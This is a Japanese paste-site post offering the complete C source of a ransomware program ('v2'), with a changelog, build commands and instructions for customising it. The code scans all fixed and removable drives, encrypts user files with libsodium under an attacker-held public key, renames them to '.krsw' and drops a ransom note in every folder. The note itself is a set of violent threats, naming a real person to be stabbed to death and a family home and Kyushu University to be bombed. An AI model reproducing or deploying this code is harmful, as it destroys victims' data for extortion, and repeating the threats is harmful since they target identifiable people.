カランサムウェアのソースコード v2

@karansomware / 更新: 2026/01/17 15:31

https://beast-note.yajuvideo.in/text_contents/003cbcd7-9a56-40f8-92b6-69fdf1240065
これの恒心版

- CLIからビルドする際にSODIUM_STATICが必要なのを忘れていたのを修正
- ランサムノート(脅迫文)を各ディレクトリにドロップするように追加
- マルチバイト文字(英語でない文字)の処理をwchar_t任せに変更
- 恥ずかしすぎる誤字を修正(EXTENTION->EXTENSION)
- 脅迫文に私怨を追加

TEXT 10.9KB
2
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #define SODIUM_STATIC
  3. #include <sodium.h>
  4. #include <windows.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <stdbool.h>
  8. /*
  9. ビルド方法
  10. ビルドツールのダウンロード
  11. https://visualstudio.microsoft.com/downloads/?q=build+tools
  12. ライブラリのダウンロード、Cドライブに展開
  13. https://download.libsodium.org/libsodium/releases/libsodium-1.0.19-msvc.zip
  14. ECC(Curve25519)の鍵ペアを生成し、PUBLIC_KEYに公開鍵を挿入♂
  15. Visual Studio Developer Command Promptで以下を実行
  16. cl /std:c11 /O2 /MT main.c /I"C:\libsodium\include" /link /LIBPATH:"C:\libsodium\lib\x64\Release\v143\static" libsodium.lib libcmt.lib libvcruntime.lib libucrt.lib
  17. 改造方法
  18. 暗号化後の拡張子を変更するにはEXTENSIONを変更
  19. 脅迫文の内容を変更するにはREADMEを変更
  20. */
  21. #define EXTENSION L".krsw"
  22. static const unsigned char README[] =
  23. "唐澤貴洋殺す\n"
  24. "何が何でも殺す\n"
  25. "ナイフで滅多刺しにして殺す\n"
  26. "114514コインで8100万円以上稼いだ脱税詐欺師かえでゲームスの実家と九州大学にガス缶爆弾置いて爆破する\n";
  27. //↑末尾にセミコロン忘れずに
  28. static const unsigned char PUBLIC_KEY[crypto_scalarmult_BYTES] = {
  29. 0x01, 0x02, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
  30. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  31. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  32. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
  33. };
  34. #define MAX_PATH_LEN 32768
  35. #define BUFFER_SIZE 0x400E
  36. #define MAX_FILE_SIZE (1024 * 1024 * 1024)
  37. #define STACK_SIZE (8 * 1024 * 1024)
  38. unsigned char SHARED_KEY[crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
  39. unsigned char VICTIM_PUBLIC_KEY[crypto_scalarmult_BYTES];
  40. struct RingBuffer {
  41. wchar_t paths[BUFFER_SIZE][MAX_PATH_LEN];
  42. volatile LONG64 head;
  43. volatile LONG64 tail;
  44. volatile LONG64 count;
  45. volatile LONG finished;
  46. };
  47. void buffer_init(struct RingBuffer* buf) {
  48. buf->head = buf->tail = buf->count = buf->finished = 0;
  49. }
  50. bool buffer_push(struct RingBuffer* buf, const wchar_t* path) {
  51. if (InterlockedCompareExchange64(&buf->count, 0, 0) >= BUFFER_SIZE) {
  52. return false;
  53. }
  54. LONG64 head, next;
  55. do {
  56. head = InterlockedCompareExchange64(&buf->head, 0, 0);
  57. next = (head + 1) % BUFFER_SIZE;
  58. } while (InterlockedCompareExchange64(&buf->head, next, head) != head);
  59. wcsncpy(buf->paths[head], path, MAX_PATH_LEN - 1);
  60. buf->paths[head][MAX_PATH_LEN - 1] = L'\0';
  61. InterlockedIncrement64(&buf->count);
  62. return true;
  63. }
  64. bool buffer_pop(struct RingBuffer* buf, wchar_t* path) {
  65. if (InterlockedCompareExchange64(&buf->count, 0, 0) == 0) {
  66. return false;
  67. }
  68. LONG64 tail, next;
  69. do {
  70. tail = InterlockedCompareExchange64(&buf->tail, 0, 0);
  71. next = (tail + 1) % BUFFER_SIZE;
  72. } while (InterlockedCompareExchange64(&buf->tail, next, tail) != tail);
  73. wcsncpy(path, buf->paths[tail], MAX_PATH_LEN);
  74. InterlockedDecrement64(&buf->count);
  75. return true;
  76. }
  77. bool buffer_is_done(struct RingBuffer* buf) {
  78. return InterlockedCompareExchange(&buf->finished, 0, 0) && InterlockedCompareExchange64(&buf->count, 0, 0) == 0;
  79. }
  80. bool should_skip_directory_w(const wchar_t* path) {
  81. static const wchar_t* patterns[] = {
  82. L"Windows",
  83. L"Program Files",
  84. L"Program Files (x86)",
  85. L"ProgramData",
  86. L"All Users"
  87. L"$Recycle.Bin",
  88. L"System Volume Information",
  89. L"Recovery",
  90. L"Boot",
  91. L"EFI",
  92. L"AppData",
  93. NULL
  94. };
  95. for (int i = 0; patterns[i]; i++) {
  96. if (wcsstr(path, patterns[i])) {
  97. return true;
  98. }
  99. }
  100. return false;
  101. }
  102. bool should_skip_file_w(const wchar_t* path) {
  103. static const wchar_t* exts[] = {
  104. EXTENSION,
  105. L".exe",
  106. L".dll",
  107. L".sys",
  108. L".efi",
  109. L".drv",
  110. L".ocx",
  111. L".scr",
  112. L".cpl",
  113. L".msi",
  114. L".msp",
  115. L".msu",
  116. L".cab",
  117. L".inf",
  118. L".cat",
  119. L".mui",
  120. L".ini",
  121. L".cfg",
  122. L".config",
  123. L".dat",
  124. NULL
  125. };
  126. static const wchar_t* files[] = {
  127. L"HOW_TO_RECOVER_MY_FILES.txt",
  128. L"bootmgr",
  129. L"NTLDR",
  130. L"ntoskrnl.exe",
  131. L"bootsect.bak",
  132. NULL
  133. };
  134. wchar_t* ext = wcsrchr(path, L'.');
  135. if (ext) {
  136. for (int i = 0; exts[i]; i++) {
  137. if (_wcsicmp(ext, exts[i]) == 0) {
  138. return true;
  139. }
  140. }
  141. }
  142. wchar_t* filename = wcsrchr(path, L'\\');
  143. filename = filename ? filename + 1 : (wchar_t*)path;
  144. for (int i = 0; files[i]; i++) {
  145. if (_wcsicmp(filename, files[i]) == 0) {
  146. return true;
  147. }
  148. }
  149. return false;
  150. }
  151. void enumerate_directory(struct RingBuffer* buf, const wchar_t* path, int depth) {
  152. if (depth > 50 || should_skip_directory_w(path)) {
  153. return;
  154. }
  155. wchar_t *search = malloc(MAX_PATH_LEN * sizeof(wchar_t));
  156. wchar_t *full = malloc(MAX_PATH_LEN * sizeof(wchar_t));
  157. if (!search || !full) {
  158. free(search);
  159. free(full);
  160. return;
  161. }
  162. if (swprintf(search, MAX_PATH_LEN, L"%s\\*", path) < 0) {
  163. free(search);
  164. free(full);
  165. return;
  166. }
  167. WIN32_FIND_DATAW fd;
  168. HANDLE h = FindFirstFileW(search, &fd);
  169. if (h == INVALID_HANDLE_VALUE) {
  170. free(search);
  171. free(full);
  172. return;
  173. }
  174. do {
  175. if (!wcscmp(fd.cFileName, L".") || !wcscmp(fd.cFileName, L"..")) {
  176. continue;
  177. }
  178. if (fd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) {
  179. continue;
  180. }
  181. if (swprintf(full, MAX_PATH_LEN, L"%s\\%s", path, fd.cFileName) < 0) {
  182. continue;
  183. }
  184. if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  185. if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM) && !should_skip_directory_w(full)) {
  186. WCHAR note_path[MAX_PATH];
  187. if (swprintf(note_path, MAX_PATH, L"%s\\HOW_TO_RECOVER_MY_FILES.txt", full) >= 0) {
  188. HANDLE note = CreateFileW(note_path, GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_NEW, 0, 0);
  189. if (note != INVALID_HANDLE_VALUE) {
  190. DWORD bw;
  191. WriteFile(note, README, lstrlenA(README), &bw, 0);
  192. CloseHandle(note);
  193. }
  194. }
  195. enumerate_directory(buf, full, depth + 1);
  196. }
  197. } else {
  198. if (!should_skip_file_w(full)) {
  199. while (!buffer_push(buf, full)) Sleep(1);
  200. }
  201. }
  202. } while (FindNextFileW(h, &fd));
  203. FindClose(h);
  204. free(search);
  205. free(full);
  206. }
  207. DWORD WINAPI enumerate_thread(LPVOID param) {
  208. struct RingBuffer* buf = param;
  209. DWORD drives = GetLogicalDrives();
  210. for (int i = 0; i < 26; i++) {
  211. if (drives & (1 << i)) {
  212. wchar_t drive[4];
  213. swprintf(drive, 4, L"%c:\\", L'A' + i);
  214. UINT type = GetDriveTypeW(drive);
  215. if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
  216. enumerate_directory(buf, drive, 0);
  217. }
  218. }
  219. }
  220. InterlockedExchange(&buf->finished, 1);
  221. return 0;
  222. }
  223. void encrypt_file(const wchar_t* wpath) {
  224. if (should_skip_file_w(wpath)) {
  225. return;
  226. }
  227. FILE* f = _wfopen(wpath, L"rb");
  228. if (!f) {
  229. return;
  230. }
  231. fseek(f, 0, SEEK_END);
  232. long size = ftell(f);
  233. fseek(f, 0, SEEK_SET);
  234. if (size <= 0) {
  235. fclose(f);
  236. return;
  237. }
  238. if (size > MAX_FILE_SIZE) {
  239. fclose(f);
  240. return;
  241. }
  242. unsigned char *plain = malloc(size);
  243. unsigned char *cipher = malloc(size + crypto_aead_xchacha20poly1305_ietf_ABYTES);
  244. if (!plain || !cipher) {
  245. free(plain);
  246. free(cipher);
  247. fclose(f);
  248. return;
  249. }
  250. if (fread(plain, 1, size, f) != size) {
  251. free(plain);
  252. free(cipher);
  253. fclose(f);
  254. return;
  255. }
  256. fclose(f);
  257. unsigned char nonce[crypto_aead_xchacha20poly1305_ietf_NPUBBYTES];
  258. randombytes_buf(nonce, sizeof(nonce));
  259. unsigned long long clen;
  260. crypto_aead_xchacha20poly1305_ietf_encrypt(cipher, &clen, plain, size, NULL, 0, NULL, nonce, SHARED_KEY);
  261. unsigned char ekey[crypto_box_SEALBYTES + crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
  262. crypto_box_seal(ekey, SHARED_KEY, sizeof(SHARED_KEY), PUBLIC_KEY);
  263. f = _wfopen(wpath, L"wb");
  264. if (f) {
  265. fwrite(cipher, 1, clen, f);
  266. fwrite(nonce, 1, sizeof(nonce), f);
  267. fwrite(VICTIM_PUBLIC_KEY, 1, crypto_scalarmult_BYTES, f);
  268. fwrite(ekey, 1, sizeof(ekey), f);
  269. fclose(f);
  270. wchar_t enc[MAX_PATH_LEN];
  271. swprintf(enc, MAX_PATH_LEN, L"%s%s", wpath, EXTENSION);
  272. MoveFileW(wpath, enc);
  273. }
  274. free(plain);
  275. free(cipher);
  276. }
  277. DWORD WINAPI encrypt_thread(LPVOID param) {
  278. struct RingBuffer* buf = param;
  279. wchar_t path[MAX_PATH_LEN];
  280. while (1) {
  281. if (buffer_pop(buf, path)) {
  282. encrypt_file(path);
  283. } else if (buffer_is_done(buf)) {
  284. break;
  285. } else {
  286. Sleep(1);
  287. }
  288. }
  289. return 0;
  290. }
  291. int main(void) {
  292. if (sodium_init() < 0) {
  293. return 1;
  294. }
  295. unsigned char secret[crypto_scalarmult_BYTES];
  296. randombytes_buf(secret, sizeof(secret));
  297. crypto_scalarmult_base(VICTIM_PUBLIC_KEY, secret);
  298. unsigned char shared[crypto_scalarmult_BYTES];
  299. if (crypto_scalarmult(shared, secret, PUBLIC_KEY) != 0) {
  300. return 1;
  301. }
  302. crypto_generichash(SHARED_KEY, sizeof(SHARED_KEY), shared, sizeof(shared), NULL, 0);
  303. SYSTEM_INFO si;
  304. GetSystemInfo(&si);
  305. struct RingBuffer* buf = malloc(sizeof(struct RingBuffer));
  306. if (!buf) {
  307. return 1;
  308. }
  309. buffer_init(buf);
  310. HANDLE et = CreateThread(NULL, STACK_SIZE, enumerate_thread, buf, 0, NULL);
  311. if (!et) {
  312. free(buf);
  313. return 1;
  314. }
  315. HANDLE* ht = malloc(sizeof(HANDLE) * si.dwNumberOfProcessors);
  316. if (!ht) {
  317. CloseHandle(et);
  318. free(buf);
  319. return 1;
  320. }
  321. for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
  322. ht[i] = CreateThread(NULL, 0, encrypt_thread, buf, 0, NULL);
  323. }
  324. WaitForMultipleObjects(si.dwNumberOfProcessors, ht, TRUE, INFINITE);
  325. WaitForSingleObject(et, INFINITE);
  326. CloseHandle(et);
  327. for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
  328. CloseHandle(ht[i]);
  329. }
  330. free(ht);
  331. free(buf);
  332. return 0;
  333. }